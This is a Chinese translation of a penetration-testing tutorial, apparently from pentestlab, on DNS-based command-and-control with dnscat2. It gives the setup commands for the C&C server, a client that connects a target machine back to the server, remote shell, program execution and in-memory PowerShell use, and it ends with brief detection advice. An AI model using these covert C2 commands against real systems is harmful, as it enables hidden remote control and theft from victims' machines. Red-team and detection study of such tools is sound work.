通過DNS控制主機以及執行命令
即使在一些限制非常嚴格的環境下,DNS協議還是允許處理內部和外部的通訊的。所以通過dns就可以建立起目標主機和命令&控制伺服器之間的通訊。由於命令和數據包都是在合法的dns查詢中傳輸的,所以很不容易被檢測到。
Dnscat2是可以實現這一技術的,它可以通過dns協議創建一個命令和控制信道。這一工具使用基於C語言編寫的客戶端(種植體),客戶端在目標機器執行,進而與服務端建立通信。通信過程中流量是進行加密傳輸的,並且通過預先共享的密鑰進行認證。
在kali2.0中安裝這一工具可以通過以下命令:
git clone https://github.com/iagox86/dnscat2.gitncd dnscat2/server/nbundle installn
命令以及控制伺服器可以通過下面命令進行初始化:
ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.1.169" --no-cachen
適用於windows的客戶端已經編譯好,你可以從https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip下載。下載完之後,只需運行一條於C&C服務端進行連接的命令:
dnscat2-v0.07-client-win32.exe --dns server=192.168.1.169n
在C&C服務端,紅隊就可以進行會話交互:
session -i 1n
通過執行「help」命令會列出所有可執行的命令:
dnscat2的一些命令是可以上傳和下載文件的,並且可以通過執行其他程序得到一個遠程shell。
或者可以使用「shell「命令會打開另外一個會話。
以下輸出會在目標機器的命令行中顯示:
shell是互動式的,而且全部是通過dns進行傳輸的,速度而且很快。
通過調用exec命令可以遠程打開程序:
exec notepad.exen
Luke Baggett 已經開發出powershell版本的客戶端,並且已經在blackhillsinfosec網站中進行了介紹,這一版本的客戶端的命令和已經編譯好的客戶端命令是相同的,不過他還添加了一些其他功能,比如互動式的powershell會話以及可以在內存中執行任何程序。
以下命令就是在目標機器執行powershell版本客戶端:
PS C:> start-Dnscat2 -Domain pentestlab -DNSServer 192.168.1.169n
還可以通過以下命令直接建立powershell會話:
exec pshn
這樣會創建一個新的控制台,可以執行PowerShell命令和腳本:
結論
dnscat2通過DNS進行控制和執行命令有很多優點,比如:
1.支持多個會話n2.流量加密n3.通過使用密鑰防止MiTM攻擊n4.從內存中直接執行powershell腳本n5.隱蔽的n
檢測這樣的攻擊是非常困難的,因為任意命令是通過合法的DNS流量進行傳輸的,所以應該強調監控DNS查詢的長度,並允許主機只與受信任的DNS伺服器進行通信。
文章翻譯於https://pentestlab.blog/2017/09/06/command-and-control-dns/,如若轉載,請註明原文地址: http://www.4hou.com/technology/7668.html 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※比「壞兔子」更可怕,數千網站正被惡意利用
※如何從 iOS 設備中導出媒體文件
※高清視頻中的手部特寫豈不是會暴露名人的指紋?